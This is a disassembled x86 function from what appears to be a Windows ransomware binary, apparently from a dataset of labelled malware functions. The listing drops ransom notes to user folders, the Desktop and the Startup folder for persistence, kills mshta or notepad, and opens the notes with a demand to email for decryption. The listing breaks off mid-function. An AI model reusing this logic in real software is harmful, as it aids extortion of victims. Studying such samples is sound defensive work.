Function at 0x41f570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7f8c
mov eax, dword fs:[0]
push eax
sub esp, 0x718
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x8003
mov dword [ebp - 0x6c4], 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0x70]
call fcn.00439b40
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push eax
push ecx
lea ecx, [ebp - 0x6dc]
call fcn.0043a4d0
mov byte [ebp - 4], 1
mov ecx, 1
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x6c4], ecx
jb 0x41f60d
mov eax, dword [eax]
push 0x4faf24
push eax
call fcn.004b1700
add esp, 8
test eax, eax
jne 0x41f669
cmp dword [ebp - 0x5c], 8
lea ecx, [ebp - 0x70]
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x6bc]
call fcn.0043a4d0
mov dword [ebp - 0x6c0], 3
cmp dword [eax + 0x14], 0x10
jb 0x41f657
mov eax, dword [eax]
push 0x4faf24
push eax
call fcn.004b1700
add esp, 8
test eax, eax
je 0x41f67b
push eax
call fcn.004b1daa
add esp, 4
mov byte [ebp - 0x6a1], 1
jmp 0x41f682
mov byte [ebp - 0x6a1], 0
test byte [ebp - 0x6c0], 2
je 0x41f6e0
mov edx, dword [ebp - 0x6a8]
cmp edx, 0x10
jb 0x41f6c5
mov ecx, dword [ebp - 0x6bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41f6bb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d44
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 0xf
mov byte [ebp - 0x6bc], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x6c8]
cmp edx, 0x10
jb 0x41f721
mov ecx, dword [ebp - 0x6dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41f717
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d44
push edx
push ecx
call fcn.00490c3c
add esp, 8
movzx eax, byte [0x5200ef]
mov ecx, 1
cmp byte [ebp - 0x6a1], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd0], xmm0
cmovne eax, ecx
mov ecx, 4
movq qword [ebp - 0xc0], xmm0
mov byte [0x5200ef], al
mov eax, dword [0x520134]
test eax, eax
cmove eax, ecx
lea ecx, [ebp - 0xd0]
mov dword [0x520134], eax
call fcn.00405130
mov cl, 1
mov byte [ebp - 4], 2
call fcn.0041e830
xor cl, cl
call fcn.0041e830
cmp byte [0x5200ea], 1
jne 0x41f796
mov cl, 1
call fcn.0041f3a0
xor cl, cl
call fcn.0041f3a0
mov edi, 0x51fdd0
nop dword [eax + eax]
sub esp, 0x34
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c4], esp
push edi
call fcn.004312d0
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push edi
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.0043aa90
add esp, 0x30
lea ecx, [ebp - 0xd0]
call fcn.0043ac70
add edi, 0x18
cmp edi, 0x520040
jl 0x41f7a0
lea ecx, [ebp - 0xd0]
call fcn.00405330
push str.:UsersRestore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x58]
call fcn.00439b40
push 0xb8
lea eax, [ebp - 0x478]
mov byte [ebp - 4], 4
push 0
push eax
call fcn.004a8980
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x478]
push 0x20
push eax
call fcn.00433b00
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x46c], 6
je 0x41f8e2
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00431e80
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437450
test eax, eax
jne 0x41f8d3
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 5
call fcn.0040ad10
cmp dword [ebp - 0x41c], 0
lea esi, [ebp - 0x468]
jne 0x41f8f5
xor esi, esi
jmp 0x41f91c
lea ecx, [ebp - 0x468]
call fcn.00437930
push dword [ebp - 0x41c]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x468]
call fcn.00437a00
test esi, esi
jne 0x41f959
mov eax, dword [ebp - 0x478]
lea ecx, [ebp - 0x478]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Restore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x88]
call fcn.00439b40
push 0xb8
lea eax, [ebp - 0x3c0]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.004a8980
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x3c0]
push 0x20
push eax
call fcn.00433b00
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3b4], 6
je 0x41fa4a
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00431e80
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437450
test eax, eax
jne 0x41fa3b
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 8
call fcn.0040ad10
cmp dword [ebp - 0x364], 0
lea esi, [ebp - 0x3b0]
jne 0x41fa5d
xor esi, esi
jmp 0x41fa84
lea ecx, [ebp - 0x3b0]
call fcn.00437930
push dword [ebp - 0x364]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x3b0]
call fcn.00437a00
test esi, esi
jne 0x41fac1
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp - 0x3c0]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xc0
lea eax, [ebp - 0x250]
push 0
push eax
call fcn.004a8980
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x724]
call fcn.00439b40
add esp, 0x10
mov byte [ebp - 4], 0xa
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004380d0
mov dword [ebp - 0x6fc], 0
xor ecx, ecx
mov dword [ebp - 0x6f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x49
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0xb
call fcn.004380d0
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x6f4]
lea ecx, [ebp - 0x250]
push eax
call fcn.00431ce0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x41fc00
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41fbf6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d49
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x6f8]
cmp edx, 8
jb 0x41fc61
mov ecx, dword [ebp - 0x70c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41fc57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d49
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6fc], 0
mov dword [ebp - 0x6f8], 7
mov word [ebp - 0x70c], ax
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x710]
cmp edx, 8
jb 0x41fcc2
mov ecx, dword [ebp - 0x724]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41fcb8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d49
push edx
push ecx
call fcn.00490c3c
add esp, 8
push dword [0x51fd28]
xor eax, eax
mov dword [ebp - 0x714], 0
cmp dword [0x51fd2c], 8
lea ecx, [ebp - 0x240]
mov edx, 0x51fd18
mov dword [ebp - 0x710], 7
cmovae edx, dword [0x51fd18]
mov word [ebp - 0x724], ax
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x238]
call fcn.00437450
test eax, eax
jne 0x41fd40
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 0x250]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004380d0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x12
call fcn.004380d0
mov dword [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x41fe47
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41fe3d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d4e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x41fea8
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41fe9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d4e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x6a0]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a8980
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00431f90
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x6a0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x694], 6
je 0x41ff97
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x190]
call fcn.00431ce0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437450
test eax, eax
jne 0x41ff88
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x16
call fcn.00420d70
lea ecx, [ebp - 0x690]
call fcn.00437450
test eax, eax
jne 0x41ffd1
mov eax, dword [ebp - 0x6a0]
lea ecx, [ebp - 0x6a0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004380d0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x19
call fcn.004380d0
mov dword [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x4200d8
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4200ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d53
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x420139
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42012f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d53
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x5e8]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a8980
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00431f90
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x5dc], 6
je 0x420228
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x190]
call fcn.00431ce0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437450
test eax, eax
jne 0x420219
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x1d
call fcn.00420d70
lea ecx, [ebp - 0x5d8]
call fcn.00437450
test eax, eax
jne 0x420262
mov eax, dword [ebp - 0x5e8]
lea ecx, [ebp - 0x5e8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004380d0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x27
push str.Start_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x20
call fcn.004380d0
mov dword [ebp - 0x90], 0
xor ecx, ecx
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x420375
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42036b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d58
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x4203d6
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4203cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d58
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x530]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a8980
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x530]
call fcn.00431f90
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x530]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x524], 6
je 0x4204cb
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x190]
call fcn.00431ce0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437450
test eax, eax
jne 0x4204bc
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x24
call fcn.00420d70
lea ecx, [ebp - 0x520]
call fcn.00437450
test eax, eax
jne 0x420505
mov eax, dword [ebp - 0x530]
lea ecx, [ebp - 0x530]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
cmp byte [0x5200f0], 1
jne 0x420546
push str.taskkill__im_mshta.exe__f
call fcn.004b5282
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x28]
add esp, 4
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
jmp 0x420582
push str.taskkill__im_notepad.exe__f
call fcn.004b5282
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x88]
add esp, 4
cmp dword [ebp - 0x74], 8
cmovae eax, dword [ebp - 0x88]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0xb8]
call fcn.00439b40
push 0xb8
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0x26
push 0
push eax
call fcn.004a8980
add esp, 8
lea eax, [ebp - 0xb8]
lea ecx, [ebp - 0x308]
push 0x20
push eax
call fcn.00433b00
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2fc], 6
je 0x4208d7
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x420600
xor esi, esi
jmp 0x420627
lea ecx, [ebp - 0x2f8]
call fcn.00437930
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00437a00
test esi, esi
jne 0x420664
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x180]
call fcn.00431e80
push 0x51fc30
mov edx, str.All_Your_Files_Encrypted_To_Decryption_Email_Us_:
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x6dc]
call fcn.00439de0
add esp, 4
push 4
push str._or
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.004380d0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x6bc]
cmp dword [0x51fc2c], 8
mov eax, 0x51fc18
push dword [0x51fc28]
cmovae eax, dword [0x51fc18]
push eax
call fcn.004380d0
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2b
lea edx, [ebp - 0x6f4]
cmp dword [ebp - 0x6e0], 8
lea ecx, [ebp - 0x180]
push dword [ebp - 0x6e4]
cmovae edx, dword [ebp - 0x6f4]
call fcn.0043f1e0
mov byte [ebp - 4], 0x2a
add esp, 4
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x4207cc
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4207c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d5d
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x6a8]
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
cmp edx, 8
jb 0x42082d
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420823
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d5d
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0x6c8]
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
cmp edx, 8
jb 0x42088e
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420884
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d5d
push edx
push ecx
call fcn.00490c3c
add esp, 8
lea ecx, [ebp - 0x17c]
call fcn.00437450
test eax, eax
jne 0x4208c8
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x27
call fcn.0040ad10
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x4208ea
xor esi, esi
jmp 0x420911
lea ecx, [ebp - 0x2f8]
call fcn.00437930
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00437a00
test esi, esi
jne 0x42094e
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
